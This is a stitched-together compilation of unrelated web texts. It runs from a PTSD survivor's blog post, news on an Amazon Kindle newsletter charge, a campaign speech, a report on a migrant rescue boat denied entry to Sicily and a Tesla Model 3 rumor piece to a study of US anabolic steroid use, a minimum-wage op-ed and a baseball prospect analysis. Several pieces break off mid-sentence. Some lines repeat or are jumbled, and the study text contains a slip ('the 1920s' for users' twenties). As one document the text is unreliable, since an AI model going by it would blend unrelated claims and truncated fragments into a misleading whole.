When I was diagnosed with PTSD, three years after I left my abuser, I spent quite a lot of time explaining to friends and family that PTSD didn’t mean I was crazy, that it wasn’t fake, and that it could, over time, be fixed. Providing the explanation wasn’t tiresome; but correcting the common misconception, which I had to do each and every time before getting to the symptoms, triggers, and remedies, was exhausting. PTSD isn’t only for soldiers.
When you already feel alone in the world, a side-effect of trauma, it’s even more alienating to be told you’re not suffering a disease you actually have.
Even a year into blogging about my diagnosis, a reader commented, “PTSD is only for vets, so please stop acting like you have it.” At the time I was so insulted and defensive I didn’t know what to say. Now I wish I could have explained that I’m certain soldiers don’t want to be singled out as the only people who have this: the more people who are honest about their diagnoses the better.
When you already feel alone in the world, a side-effect of trauma, it’s even more alienating to be told you’re not suffering a disease you actually have.
3. “If I were you…” “I’ll be here for you with the same dedication one year from now.”
There isn’t a timeline on recovery.
Some people heal faster than they or their helpers expect. For others, healing can be harder than the experience itself. And it can be a cyclical process: one month seemingly symptom-free and the next painfully reverses progress.
When a loved one is dealing with his or her nightmare, it’s easy to get burned out helping. It’s hard to watch people suffer. But it’s also hard to sustain helping.
Put your phone number on their refrigerator. Say, “If you have enough help today, I can help in a week.”
Everyone is so eager to help immediately following trauma, but each slowly goes back to his or her own life, unintentionally forgetting the other person’s life has changed—forever. When I first left my abuser, my friends came to my side, asking what they could do, but they figured my battle was over after I left him, never assuming the aftermath would be worse. And so their help died off until only a few were left. Then … none.
At the very least, remind the struggling party you can help whenever they need you. Put your phone number on their refrigerator. Say, “If you have enough help today, I can help in a week.” Do what you can to remain present and make it clear you aren’t going anywhere. The worst feeling in the world for someone who is living through trauma, is feeling more alone than they already do.
—
What’s your take on what you just read? Comment below or write a response and submit to us your own point of view or reaction here at the red box, below, which links to our submissions portal.
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Photo—Gareth Williams/FlickrUpdate: see below.
Kindle customers are flooding to Amazon's discussion forums with messages of anger and confusion, after the company said they would be automatically charged for a newsletter unless they opted-out.
The furor began when Amazon sent out the Kindle Compass, a newsletter for Kindle customers, which automatically subscribes its members to a 14-day free trial. Users must opt-out within that time frame or they will be "charged" for the subscription. Change.org already has a petition up.
Amazon's bi-weekly newsletter is to "keep updated the customer of Kindle", and also be updated of the "news and features", according to an Amazon customer service representative.
The representative also said the newsletter was, "sent for a trial to a random amount of Kindle users", but added: "There will be a charge if you do not unsubscribe in 14 days".
The email sent out either did not say how much users would be charged, or that it would cost "$0.00". One user spoke to another customer service representative who said, "there is no charge for it".
But another user said the charge was $2.25, adding to further confusion. "Not much, but it adds up especially if lots of people do nothing", the user said, adding: "I feel violated".
In a frank |
social theory. As I've traveled throughout the Commonwealth I've seen real people with real problems, not guinea pigs for a politician's experiments. To make our homes and our future a better and brighter place, we don't need to start at the top - we need to start right here with ourselves. If you improve the living condition of a single home, it has a ripple effect throughout the street. Improve the street, it ripples to the neighborhood. Improve the neighborhood, it ripples to the county. Improve the county, it ripples through the state. Improve the state, it ripples to the entire nation. In each of us we have the power to improve our own lives, to improve the lives of our neighbors, our state, and our country. I was born in Virginia, and grew up right here in Fairfax County. I'm proud to have lived my life in the homeland of George Washington, and proud to call this great state my own. Virginia has shown the kind of can-do attitude that has kept this country great. Even in times of economic downturn, our state continues to grow and thrive where others have shrunk and whithered. But I know we can't rest on our laurels and hope everything will turn out okay. Today we're beginning to struggle - if we do nothing, what will happen? I for one don't want to find out, which is why I've decided to run for the United States Senate. I know that with our values, our strength, our undying love of this great state and this great nation, we can make our lives better - not just for us, but for generations to come. I ask you to support me. I ask you to help. I ask you to allow me to represent you in the United States Senate. I thank you for your support, and look forward to serving you in Washington DC.
-Hank
"The Greatest Land of All"
"Static"
"Vote the Humans Out"
"I Believe in Hank"
"Believe"A rescue boat with carrying 700 migrants was denied entry to Sicily by Italian authorities who said that there was no room left for the people in the government reception centres, stated a humanitarian group on Friday.
Despite lengthy discussions with Italian authorities the migrants on a boat operated by medical charity Doctors Without Borders, were turned away due to a "lack of capacity in the Italian (migrant) reception system," said a statement from the group.
The boat is now heading for the port of Reggio Calabria on the far southern tip of Italy with hopes to land on early Saturday.
Italy is struggling to host more than 80,000 migrants who have crossed the Mediterranean fleeing war, persecution or poverty in the Middle East and Africa.
Italian authorities gave permission Thursday for some of the migrants on the
Doctors Without Borders (MSF) boat to disembark at the Sicilian town of Trapani, but the charity rejected that idea due to tensions aboard the overcrowded vessel.
In the end just seven people -- all in need of urgent medical attention -- and their families were let off the boat.
The president of MSF's Italian operation, Loris De Filippi, said the "lack of preparation in the Italian system has very concrete consequences that we witness first hand."
"The ministry of interior must authorise boats to disembark at the port in Sicily that is closest to them in order to allow them to return to the search and rescue zone as soon as possible in order save other boats," he added.
The International Organization for Migration said last week that 150,000 migrants and refugees have made the perilous journey across the Mediterranean to Europe so far this year, and more than 1,900 of them have been killed.
On Friday Italian media reported a 10-year-old diabetic girl from Syria died during a hypoglycemic episode while making the crossing after the people smugglers tossed overboard the bag containing her insulin.
The girl, her parents and sisters were among some 300 migrants on an Egyptian fishing boat that was rescued after seven days on the water, according to newspaper Giornale di Sicilia, which cited the statement the child's father made to Italian prosecutors.
The father tried in vain to keep the smugglers from tossing the bag into the water. She died after falling into a coma during the crossing and her body was dumped into the sea.Tesla Model 3 Leaks… Small Ones (CleanTechnica Exclusive)
November 17th, 2015 by Zachary Shahan
One of our readers, Daniel Hoffmann, was recently sitting in his hotel lobby waiting to check in when he overheard someone next to him talking on the phone… and then booking tickets on behalf of Tesla Motors. Eager to take advantage of the opportunity, Daniel found out that the guy was manager of exterior designer at Tesla Motors — David Imai. (Wow — not a bad fellow to talk to.)
Digging further, Daniel asked, “you know how the Tesla Model 3 looks like, right?” That apparently generated a light laugh. That might have been the end of the conversation for a mere mortal, but this was a CleanTechnica reader.
Despite not being willing to chat much (understandably), the Tesla designer did tell our reader that the Model 3 will be amazing and it will have a very special design. Hmm… very special, eh?
Here’s more from Daniel:
I also asked him if it will be a shrunken Model S, and he said it will be similar, BUT it will have very special design. I also asked if there will be any delay, and he said very firmly “no”. I also asked if the March showcasing is on, and it is (he was surprised I knew the month). Unfortunately he seemed very busy, so I couldn’t annoy him any longer. But it seems that they are not trying to make a cheap design for their “cheap” model. I’m really happy about that, because if I wouldn’t buy a Model S, then the Model 3 is an obvious choice.
Indeed.
Well, I don’t think that’s going to help much with the agonizing wait for the Model 3.
For more on the Model 3, also see:
Tesla Model Y & Tesla Model 3 Prototypes In This Pic?
Tesla CTO JB Straubel: Model 3 Is Going To Be Mostly New
Tesla Model 3 Pricing Revealed For UK Market?
Tesla Model 3 Or Model Y Will Have Falcon-Wing Doors, Model XsAlthough subject to various limitations, our estimation techniques suggest a surprisinigly high prevalence of AAS use and dependence among Americans. (Am J Addict 2014;23:371–377)
Age‐of‐onset studies consistently showed that AAS use begins later than most drugs, with only 22% of users (95% confidence interval: 19–25%) starting before age 20. Applying the age‐of‐onset findings to national youth datasets, we estimated that among Americans currently age 13–50 years, 2.9–4.0 million have used AAS. Within this group, roughly 1 million may have experienced AAS dependence.
We first determined the distribution of age of onset of AAS use, based on pooled data from nine studies. Using this distribution, we then developed equations to project the eventual lifetime prevalence of AAS use among young survey respondents, once they aged and completed the period of risk for initiating AAS. We similarly calculated the denominator of lifetimes of risk for AAS use in the total American population. We next applied these equations to four independent national youth datasets to derive current American general‐population estimates for lifetime AAS use. Finally, using data from 10 pooled studies, we estimated the lifetime prevalence of AAS dependence among AAS users.
Although various surveys have tracked the prevalence of anabolic‐androgenic steroid (AAS) use in American teenagers and young adults, no recent surveys have assessed the lifetime prevalence of AAS use in Americans overall. We therefore analyzed serial youth‐survey data to derive estimates of the lifetime prevalence of AAS use in the current American general population.
INTRODUCTION A growing number of individuals worldwide have used anabolic‐androgenic steroids (AAS) to gain muscle or lose body fat.1 Some users go on to develop AAS dependence, and continue taking highly supraphysiologic doses of these drugs for years.2, 3 AAS use and dependence may cause serious adverse effects, including especially cardiovascular, neuroendocrine, and psychiatric disorders,1, 4 which likely increase premature mortality.5 However, to quantify the public health threat from these effects, we need to know the prevalence of AAS use. For classical drugs of abuse such as cannabis or cocaine, extensive prevalence data exist,6 because these drugs have been around for a long time. But AAS are arguably the youngest and least studied of the world's major abused substances. Although some elite athletes used AAS as early as the 1950s, the great majority of rank‐and‐file AAS users began use after 1980 in United States and after 1990 elsewhere.7 Consequently, the age distribution of AAS users has not yet reached a steady state. Users at the chronological leading edge of the group—those who first tried AAS as youths in the 1980s—are only now passing into middle age, while new users continue to enter at the bottom of the age range. Thus future decades will witness steadily increasing numbers of aging AAS users. This dynamic situation combines with sparse data to complicate estimations of prevalence. Finally, there is another methodological problem peculiar to surveys of AAS use. When asked whether they have used “steroids,” survey respondents may confuse illicit AAS with corticosteroids or with over‐the‐counter nutritional supplements that they thought were “steroids,” thus causing false‐positive responses. As we have detailed previously,8 these false‐positives may inflate AAS prevalence estimates. Despite these challenges, it remains important to develop working prevalence estimates. Here we attempt to approximate the number of people in the United States who have used AAS at some time in their lives. We focus on Americans for several reasons. First, the United States is the most populous country with significant AAS use,9 and thus accounts for the largest number of AAS users. Second, widespread illicit AAS use arose in the United States ahead of other countries, fueled in part by the early appearance of American underground guides to AAS use7 and by a growing focus on male body image in American culture.10 This latter trend, which began to evolve in the 1970s and 1980s, is exemplified by proliferating muscular male bodies in American movies, television dramas, fitness magazines, and advertising, and even by the growing muscularity of American action toys such as “G.I. Joe.”11 Because AAS use arose earlier in America than elsewhere, the United States population contains a larger proportion of AAS users who are already reaching middle age, and who are likely more vulnerable to adverse effects. Third, unlike many countries possessing recent household surveys of AAS use,12, 13 the United States lacks any general‐population survey of AAS use, to our knowledge, since 1994.14
METHODS Overview Although the United States lacks recent general‐population surveys of AAS, we found four American youth surveys qualifying for analysis,15-18 in that they: (1) utilized national samples; (2) were repeated over multiple survey years; and (3) inquired about lifetime AAS use, rather than merely past‐year use or current use. We then developed mathematical methods to extrapolate from these young survey populations to generate prevalence estimates for current overall American population. Our methods involved three steps. First, we located published studies of AAS users to that assessed the age of onset of AAS use in each study participant. Using a random effects model,19 we then estimated the mean cumulative proportion of individuals across studies who had initiated AAS use at each year of age. Second, we developed equations to apply this age‐of‐onset distribution to AAS‐prevalence data from youth surveys. Knowing the age distribution of the youths in a given survey, we could use these equations to project these youths' ultimate lifetime prevalence of AAS use by the time that they grew older and completed the period of risk for initiating AAS. We applied similar methods to United States census data to calculate a denominator of “lifetimes of risk” for AAS use in the total American population. We then combined these calculations to estimate the lifetime prevalence of AAS use in the general American population today. Third, using data from 10 pooled studies, we estimated the lifetime prevalence of AAS dependence among AAS users. For full details of these methods, including an explanation of the equations that we developed for the above mathematical models, please see the detailed presentation provided in the online Supplemental Materials.
RESULTS Age of Onset of AAS Use We located nine studies of AAS users published since 2000 in which age of onset of use was assessed. Five studies assessed American users; of these, four are published20-23 and one is in progress (Pope et al., unpublished observations). One of these five studies21 also included non‐American AAS users, and four additional studies provided data from the United Kingdom,24 Australia,25, 26 and an international Internet cohort,27 respectively (Table 1). Through the courtesy of the authors, we obtained raw data from all five American studies and three of the overseas studies.21, 24, 26 The estimated mean cumulative proportion of individuals who had initiated AAS use as of each year of age proved very consistent across the American studies (see Fig. 1; for full numerical data, see Table S1 in Supplemental Materials). Moreover, mean data from the three overseas studies fell within the 95% confidence intervals for the American studies at virtually all age points, as did the more limited published findings from the two studies for which we lacked raw data27, 28—suggesting that age of onset of AAS use is quite uniform around the world. Table 1. Studies assessing age of onset of AAS use Study Method Location AAS users* Current age Age at 1st AAS use Copeland et al. 28 Personal interview Australia 94M, 6F 18–50 14–46 Kanayama et al. 22 Personal interview USA 48M 18–65 13–37 Parkinson and Evans 27 Internet survey International 494M, 6F 16–62 14–58 Cohen et al. 20 Internet survey USA 1,788M 18–76 14–68 Larance et al. 26 Personal interview Australia 60M 17–59 15–58 Ip et al. 21 Internet survey USA 375M, 5F 16–73 13–69 Ip et al. 21 Internet survey Non‐USA 127M, 7F 16–73 13–51 Pope et al. 23 Personal interview USA 102M 18–40 15–37 Kanayama et al. 24 Personal interview UK 31M 29–55 16–41 Pope et al., ongoing Personal interview USA 75M 34–55 15–49 Figure 1 Open in figure viewerPowerPoint Estimated mean cumulative percentage of anabolic‐androgenic steroid (AAS) users who have initiated use by a given year of age, based on five American studies collectively evaluating 2,549 AAS users. Combining American age‐of‐onset data with American census data, we estimated that the number of lifetimes of risk for AAS use among Americans age 13–50 was 108.5 million, with a 95% confidence interval of 103.6–113.5 million (for details, see Eq. 3 in the Supplemental Materials). American Youth‐Survey Data High‐School Surveys Two large surveys, the biennial Centers for Disease Control (CDC) Youth Risk Behavioral Surveillance reports, and the annual Monitoring the Future (MTF) surveys, have estimated the lifetime prevalence of AAS use among 12th graders as 2.3–4.9% and 1.8–4.0%, respectively, in serial surveys from 1991 to the present. Smaller American high‐school studies have produced similar or even higher estimates.8 Despite peaks and valleys, the average lifetime prevalence of high‐school AAS use has remained fairly stable over the last two decades, with no overall secular trend upwards or downwards.15, 17 Given the age distribution of American 12th graders,29 it follows that their ultimate lifetime prevalence of AAS use should be about 6.7 times that seen in 12th grade (as determined by Eq. 1 in the Supplemental Materials). Therefore, taking at face value the CDC and MTF figures from even the lowest survey years, one would predict that 12–15% of Americans eventually initiate AAS use. But this estimate is patently too high, almost certainly because teenagers frequently generate false‐positive responses to the “steroid” question, as explained above. In a detailed examination of these data,8 we have proposed that after excluding false‐positives, the true lifetime prevalence of high‐school AAS use might be only.1% for girls and 1.0% for boys. But even assuming these much lower figures, our mathematical models would still predict that 4.0 million Americans in the current population have used AAS. Young‐Adult Surveys MTF data indicate that the lifetime prevalence of AAS use in young adults age 19–28, for both genders combined, has been quite stable from 1989 to 2011, ranging between 1.1% and 1.9%, with a mean of 1.58%.16 Assuming equal numbers of respondents at each age from 19 to 28 in these surveys, one obtains a lifetime prevalence estimate of 3.1 million Americans. College‐Student Surveys MTF college‐student data from 1989 to 2011 show a 1.17% mean lifetime prevalence of AAS use (albeit with larger year‐to‐year fluctuations, likely due to smaller sample size).16 These data were restricted to college students 1–4 years beyond high school, and thus mostly age 19–22, with the age distribution shifted slightly leftward, since the proportion of an age group in college declines steadily with number of years beyond high school. Ignoring this shift, and assuming equal numbers of respondents at each age (thus generating a lower estimate), it would follow that 3.7 million Americans have used AAS. Another study surveyed AAS use in students at 119 American 4‐year colleges on four occasions from 1993 to 2001, yielding a mean reported lifetime prevalence of AAS use of.96%.18 Importantly, the 2001 survey question provided examples of actual illicit AAS as follows: “Anabolic steroids (either injections, like Depo‐testosterone, or Durabolin‐ or pills, like Anadrol, Dianabol, or Winstrol).” This question likely minimized the risk of false‐positive responses, since respondents were cued with the names of genuine illicit AAS. The reported lifetime prevalence in 2001 was 1.05%. Using the age distribution of respondents from the 2001 study codebook,30 (an approximate method, since it was applied to all 4 study years and neglected sampling weights), we obtained an estimate of 2.9 million American AAS users. The National Household Survey The 1994‐B NHS estimated that about 1.1 million Americans (from a population of 260 million at that time) had used AAS. However, about 85% of lifetime AAS users in this survey were age 35 or less—reflecting the fact that widespread AAS use had first emerged only 10–15 years earlier. Since 1994, the NHS has not assessed lifetime AAS, but as noted above, the incidence of new‐onset AAS use has remained quite stable throughout subsequent years. Thus in 2013, more than 30 years after the emergence of widespread AAS use, the lifetime prevalence in the United States should now have reached two to three times that in 1994. Moreover, the American population is now 1.2 times that in 1994. Therefore, projecting the NHS data forward to 2013, one would obtain an estimate of the contemporary lifetime prevalence of AAS use roughly congruent with the estimates of 2.9–4.0 million generated by the more formal methods above. Prevalence of AAS Dependence We found nine published studies23, 25, 31-37 plus one study in progress (Pope et al., unpublished observations) that used criteria adapted from DSM‐III‐R or DSM‐IV38-40 to diagnose cases of AAS dependence among 1,247 AAS users collectively (Table 2). These studies generally recruited participants from gymnasiums5, 23, 25, 31, 32, 34, 37 or Internet bodybuilding and fitness sites.33, 36 Since virtually all AAS users lift weights,1 the study samples were therefore likely representative of the overall population of AAS users. Also, the findings seemed unlikely to be seriously biased towards cases of AAS dependence, because the studies either (1) recruited weightlifters generically without regard to history of AAS use23, 32, 33, 37 or (2) recruited AAS users, but without regard to duration or extent of AAS use.25, 31, 35, 36 Four studies assessed lifetime AAS dependence among lifetime AAS users, while six appeared to assess current AAS dependence among current users—but both groups of studies yielded a similar range of estimates (see Table 2). The mean (95% confidence interval) prevalence of AAS dependence across all studies was 32.5% (25.4%, 39.7%), with a median of 29.5%. Restricting to the six American studies, the mean was 35.0% (24.0%, 46.0%) and the median was 34.6%. Table 2. Prevalence of AAS dependence in studies of AAS users Study Location AAS users Dependent users* N % Brower et al. 31 USA 49M 28 57.1 Gridley and Hanrahan 32 Australia 21M 12 57.1 Pope and Katz 37 USA 88M 22 25.0 Malone et al. 34 USA 71M, 6F 10M, 1F 14.3 Midgley et al. 35 UK 50M 13 26.0 Copeland et al. 28 Australia 94M, 6F 22M, 1F 23.0 Perry et al. 36 USA 206M 68 33.0 Pope et al. 23 USA 102M 37 36.3 Ip et al. 33 International 479M 112 23.4 Pope et al., ongoing USA 75M 37 49.3 In conclusion, assuming that some 30% of AAS users develop AAS dependence, and that 2.9–4.0 million Americans have used AAS, it follows that possibly 1 million Americans may have experienced AAS dependence. Gender Ratio of AAS Users What is the ratio of male to female AAS users? A superficial examination of high‐school surveys might suggest that AAS use is common in girls, with a male–female ratio of only about 2:1 in some studies.1, 8, 15 However, as detailed in our review cited earlier,8 most of these female cases are likely false‐positives due to misinterpretation of the “steroid” question. Indeed, we are unaware of any published study that has presented even a single teenage female AAS user evaluated in person. Turning to adult women, we have located five studies since 2000 that recruited AAS users without regard to gender 27, 28, 41-43 (Table 3). Across these studies, the mean (95% CI) proportion of female users, calculated using a random effects model,19 was 1.8% (.8%, 2.7%)—a male/female ratio of about 50 to 1. The male/female ratio for lifetime AAS use among young adults in the MTF study16 was 15 to 1 and in the 2001 college‐student study of McCabe et al.18 it was 8 to 1. Looking at the narrower category of AAS dependence (see Table 2), only 1 (.5%) of the 203 American cases of AAS dependence and only 2 (.6%) of 363 cases worldwide occurred in women. The rarity of female AAS use and dependence is hardly surprising, since few women aspire to extreme muscularity, and women are also vulnerable to the virilizing effects of AAS.41, 44 Thus, from a simple numerical standpoint, the public health threat from AAS use is largely concentrated in men. Table 3. Gender ratios in recent studies of AAS users that assessed both men and women Study Method Location Study Population AAS Users Percent female Male Female Copeland et al. 28 Personal interview New South Wales, Australia 100 AAS users age 18–50 94 6 6.0 Kanayama et al. 42 Anonymous questionnaire Massachusetts, USA 501 gymnasium clients 18 0.0 Parkinson and Evans 27 Internet survey International 500 current or past AAS users 494 6 1.2 Ip et al. 21 Internet survey International 518 current or past AAS users 506 12 2.3 Leifman et al. 43 Anonymous questionnaire Stockholm region, Sweden 1,752 gymnasium clients 45 1 2.2 Race/Ethnicity of AAS Users Data on the race/ethnicity of American AAS users are limited. None of the national young‐adult or college‐student studies reviewed above provides a breakdown of AAS users by race/ethnicity. However, both the CDC and MTF high‐school surveys report the percentage of white, African‐American, and Hispanic students answering “yes” to the “steroid” question. Although these high‐school data are vulnerable to false‐positive responses, it seems fair to assume that the propensity to false‐positives is similar across the three racial/ethnic categories, thus permitting a rough comparison across these groups. In MTF data for past‐year “steroid” use among 12th graders, the mean reported prevalence for 1990–2011 was 1.3% for African‐Americans, 1.6% for Whites, and 1.9% for Hispanics. In recent years (2006–2011), however, these differences seem to have largely disappeared (African‐American, 1.6%; White, 1.5%; Hispanic, 1.6%). In the CDC data, the mean lifetime reported prevalence of “steroid” use among all high‐school students from 1993 to 2011 was 2.5% for African‐Americans, 3.9% for Whites, and 4.4% for Hispanics. By contrast the 1994 National Household Survey found a slightly higher lifetime prevalence of AAS use in African‐American versus White respondents (.61% vs..50%), and a lower prevalence of AAS in Hispanic versus non‐Hispanic respondents (.46% vs..53%). Overall, therefore, there does not appear to be a consistent large difference among racial/ethnic groups in prevalence of AAS use.
DISCUSSION The United States likely possesses more AAS users, and particularly more older users, than any other country, but unfortunately lacks recent general‐population surveys of the lifetime prevalence of AAS use. To develop a best estimate of the lifetime prevalence of AAS use in the United States, we determined the distribution of age of onset of AAS use and applied these findings to four bodies of serial survey data from younger Americans. Our analyses suggested that 2.9–4.0 million Americans may have used AAS, with possibly 1 million of these having experienced AAS dependence. Given these substantial numbers, why is AAS use and dependence not more widely recognized and more extensively studied? There are several likely explanations. First, AAS use usually starts in the 1920s, when users are no longer being observed by parents or high‐school teachers. Second, public attention remains focused on AAS use in athletes, whereas the great majority of users are not competitive athletes.27, 45 Third, AAS users are rarely candid with physicians. In one study, for example, 56% of AAS users reported that they had never disclosed their AAS use to any doctor that they had seen.46 Fourth, physicians rarely probe for AAS use when obtaining a history,46, 47 thus missing opportunities to establish an association between AAS use and secondary pathology such as cardiomyopathy, atherosclerotic disease, neuroendocrine abnormalities, and psychiatric disorders. Fifth, emergency‐room surveillance48 fails to detect AAS users, since AAS rarely precipitate acute emergencies such as those seen with overdoses of ordinary drugs. Sixth, widespread AAS use did not emerge until the 1980s, and thus most AAS users are still too young to have developed sufficient medical problems to attract clinical attention. Collectively, these factors have likely combined to keep AAS dependence largely unnoticed. Our findings are subject to various limitations. First, our estimated distribution for age of onset of AAS use, based on nine pooled studies, is vulnerable to selection bias in the underlying studies. However, the consistency of findings across these studies argues against a major bias in either direction. Second, our calculations utilized four youth‐survey datasets that likely included false‐positive responses, potentially inflating estimates. Although we introduced various conservative analytic assumptions to compensate for false‐positives, this possible source of bias cannot be excluded. Notably, however, when analyzing a college‐student survey that specifically named representative examples of AAS on the questionnnaire, thus minimizing the risk of false‐positives,18 we still obtained an estimate of 2.9 million lifetime users in the general American population. Third, our estimate of the lifetime prevalence of AAS dependence, based on 10 pooled studies of AAS users, is again vulnerable to bias in the underlying studies. As discussed above, however, analysis of these studies suggests that they probably secured representative samples of AAS users, spanning the full range of AAS exposure. In short, each component of the estimation process is potentially vulnerable to bias, and an error in one component might be magnified through the multiplier process used in our mathematical models. However, it appears implausible that a severe bias has affected all estimation components in the same direction. It is also reassuring that the various prevalence estimates, derived from different indicator populations, converged fairly closely. Thus, pending more sophisticated survey data, the estimates developed here appear reasonable for provisional purposes. If our conclusions are valid, and AAS use and dependence are indeed prevalent and largely undetected in the American population, it would seem important to watch for possible public health consequences in the steadily aging population of current and former AAS users. Expanded research and intervention today may help to avert some of these consequences in the future.
This study was supported in part by NIDA grant DA‐029141 (PI: Dr. Pope). The authors wish to thank Jason Cohen, Rick Collins, Jan Copeland, Jack Darkes, Louisa Degenhardt, Paul Dillon, Daniel Gwartney, Eric Ip, Briony Larance, and Paul Perry for their assistance in providing data sets used in the analyses of this study.
Declaration of Interest Dr. Pope has testified as an expert witness in five cases involving anabolic‐androgenic steroid use during the last 3 years. The authors report no other conflicts of interest. The authors alone are responsible for the content and writing of this paper.Who can live on $8 per hour these days? Surely, in a country as rich as ours, no one who is willing and able to work should suffer the indignity of such paltry wages. The solution is simple and obvious: pass a law. If you work, you get at least $10 per hour, period. Anything less is downright indecent. And so we have a ballot initiative to make this happen in San Jose, California.
It’s anything but simple and obvious if we stop and look and think about what’s happening in the real world. Today I went to a small family-owned sandwich shop near my house. They are very popular and so four young workers, probably students from the nearby college, were jammed in the tiny shop with the two owners. The sandwiches are great but I also enjoy watching them hustle at lunch time. I’m quite certain the helpers were all earning minimum wage but had other sources of income or support. Far more important than their wages, which will quickly be spent, is the work experience that will last them a lifetime – and the confidence that comes from knowing they are earning their money by doing a job in the very best way they can.
The McDonald’s near me employs a few senior citizens, likely at or near minimum wage. They almost certainly have other income. Just being active and involved in productive activity gives their lives meaning and may well enhance their health and longevity.
The sandwich shop operates on thin margins which are being squeezed by rising food prices. If they had to pay their young helpers $2 more per hour they would probably close. But the nearby Safeway store, which has a sandwich bar, would very likely absorb part of the wage increase and pass the rest on to customers, which would be easier to do with their family-owned competitor knocked out.
I also frequent a family-owned restaurant in San Jose. The food is excellent, the decor is nice, but the main attraction is the owner’s friendly and outgoing personality which suffuses the atmosphere. One day recently I had the pleasure of chatting with her after the lunch crowd had dissipated. I’ll call her Mary.
Two major employers nearby supply most of her customer base. Layoffs have hit one of them, and many of the fearful remnant have likely switched to brown bags. Cuts are also pending at the other. Mary has ideas for countering the drop with increased leverage of her fixed assets. She has been trying for well over a year to acquire a license to serve beer and wine but has gotten caught up in a bureaucratic tangle. She is considering expansion into dinner service.
Along with declining gross income, she faces increased costs. Mary estimates her food bills have risen 15% in the past year, with utility increases not far behind.
Like the sandwich shop owners, Mary employs minimum-wage help. She points out that a $2 increase would be closer to $3 out of her pocket because of payroll taxes and mandatory insurance. And it doesn’t stop there. To maintain morale, she would have to raise all her staff’s pay roughly in line with the amount given to those at the bottom.
Perhaps Mary could just shave a little off her profits to cover the increase. Perhaps, if there were any profits. We economists evaluate profits a little differently than accountants. When owners work in their own business, we count the wages they could have earned working for someone else as an expense. As seen by accountants, she is roughly breaking even. From a more realistic economic viewpoint, Mary is losing money. She knows this is not sustainable but is holding out for an economic recovery and hopes for a boost from her expansion plans.
Profit is not Mary’s main motivator, though she wants to cover costs. She loves cooking, loves her customers, and yes, she loves her staff. Some of them have been with her for many years. Some have gotten married and had babies, making her feel part of their lives.
Some of her least productive employees, those who wipe tables and clean up, are the source of her only significant labor problem. One might think the process of cleaning a table would be obvious, but there is a right way and a wrong way and some of her people don’t always do it right. One in particular sometimes has to be reminded of what Mary expects, but he doesn’t seem concerned. He seems not to comprehend simple work ethics – he doesn’t care if the job gets done right. Do such people deserve a 25% pay increase? Wouldn’t they benefit more in the long run if they had to fall on their face and learn what it means to earn a living? Sure, they may come from dysfunctional families. So what?
It is the customers who call the shots in any competitive business, and most especially in the restaurant business where diners have so many choices. Through their patronage or lack thereof, customers indirectly decide the value of each factor of production including table cleaners. When an employee does not produce enough to cover his wage, as ultimately decided by the customers, then the loss may be taken up temporarily by the employer, but in the long the result is unemployment among the very people that the law is supposed to help. Employers suffer too, as do customers when small businesses are driven under.
For most of us, minimum wage laws are not binding. You can’t (yet) find good economics lecturers for $8 per hour. So high earners and medium earners can vote for the minimum wage and feel good about it, not realizing, or perhaps even not caring, what the law does to the least productive people in the work force. Starry-eyed ideologues aside, those most eager for minimum wage laws are those just above the bottom, who can (barely) retain their jobs under the new minimum wage. They are shielded from competition from those driven out by the new laws. Who are the unfortunate losers? Disproportionately, they are black teenagers, whose unemployment rate is sky-high.
It would be a tragedy if the sandwich shop or the restaurant are crushed by the new laws – for me as a customer, for the owners, but most of all for the unfortunate low-productivity workers who are barred from taking employment.
Would I go so far as to advocate and end to all minimum wage laws? I would indeed, on moral grounds to begin with: no outsider, even a government agent backed by a ballot initiative, has the right to forcibly interfere in a private transaction such as an employment agreement. What about practical grounds? What if somebody offered to clean Mary’s tables for $2 an hour? Would she be so foolish as to hire such a person? How diligent would they be? How long before they found something better and skipped out? There is a limited supply of competent workers for jobs above the minimum wage and employers are forced to offer competitive wages to attract them. The same would be true at the lower scales, absent minimum wage laws. With repeal, there might be a short burst of low-wage activity which would subside as incompetent workers were weeded out. In the long run very few would be earning less than $8 per hour. Lots of other social problems would be mitigated as unemployment subsided among black teenagers and others.
Now back to today’s minimum wage earners, and let’s omit the aforementioned student and senior citizen groups. Concern for the welfare of |
quintessential Rhys Hoskins.
Aaron Nola’s post-injury breakout Isaiah J. Downing-USA TODAY Sports Aaron Nola has turned into the cornerstone Philadelphia needs to rebuild their rotation.
The big Phillies first baseman has seen just 64 big league plate appearances, but his.283/.406/.755 slash line certainly jumps off the page. As do his eight homers in 15 games (a Major League record), all of them actually coming in his last 11.
Perhaps more impressive, though, is the fact that he has 10 walks... to just 11 strikeouts.
Yes, 64 plate appearances isn’t enough to fully evaluate a hitter. But, it’s important to note that, since his promotion, Hoskins has been exactly as advertised, which makes him all the more exciting. Over a much larger sample — 475 plate appearances in Triple-A — Hoskins slashed.284/.385/.581, swatting 29 home runs while posting a walk rate of 13.5 percent to a strikeout rate of 15.8 percent.
If you’re still not impressed, Hoskins has actually improved both his walk and strikeout rates in 2017 since his 38-homer campaign with Double-A last year. Despite being a fifth round pick in 2014 and never appearing all that high on any prospect lists, Hoskins looks like a promising young hitter that has the ability to be something special in the Major Leagues.
The question becomes, though, how good could Hoskins become? We can all guess as to how well his tools will translate to the Majors, but let’s imagine that they move perfectly, and Hoskins has a fantastic career that follows the normal big league hitter progression. Who is this man?
Dave Cameron of FanGraphs wrote an article on Tuesday entitled “Rhys Hoskins Looks Kind of Awesome.” In the article, Cameron points out Hoskins’s low ground ball rate, his high contact rate and his great plate discipline, comparing him to the likes of Matt Carpenter, Daniel Murphy and Justin Turner in those areas.
However, while Hoskins has many similar traits to those of Carpenter, Murphy and Turner, he has an abundance of power, something that they do not have. Before you contest this, I’m not saying Carpenter, Murphy and Turner have zero power, they just do not have an abundance. Hoskins’s isolated power may have the opportunity to approach.300 in the future. Carpenter (.194), Turner (.208) and Murphy (.234) just don’t come close.
Those comparisons make sense fundamentally, but in my mind, they fall short of having Hoskins’s No. 1 tool.
At his absolute best, I see Hoskins as the type of player who could hit.270/.370/.500 with 35 homers in the big leagues, putting him near the top of the league in OPS. We don’t know, though, if Hoskins has the ability to be a.280/.390/.550 slash line-type player, which, if reached, would make him an elite slugger. Even though I’m trying to paint a picture of Hoskins’s ceiling, I’m not even sure that’s possible for him yet. Only time will tell. For now, let’s stick with the.870 OPS ceiling.
When looking for a comparison for Hoskins, I started looking at hitters from 2012 to 2016 who had seasons with 30 or more homers with a walk rate above 10 percent in that respective season. Edwin Encarnacion reigned supreme on this list, appearing on it in all five seasons, but he wasn’t the player I wanted. After further searching, one name stood out as a potentially perfect match.
Who is my No. 1 optimistic comp for ceiling-Rhys Hoskins? Anthony Rizzo.
Rizzo might be a good comparison for ceiling Rhys Hoskins.
Dennis Wierzbicki-USA TODAY Sports
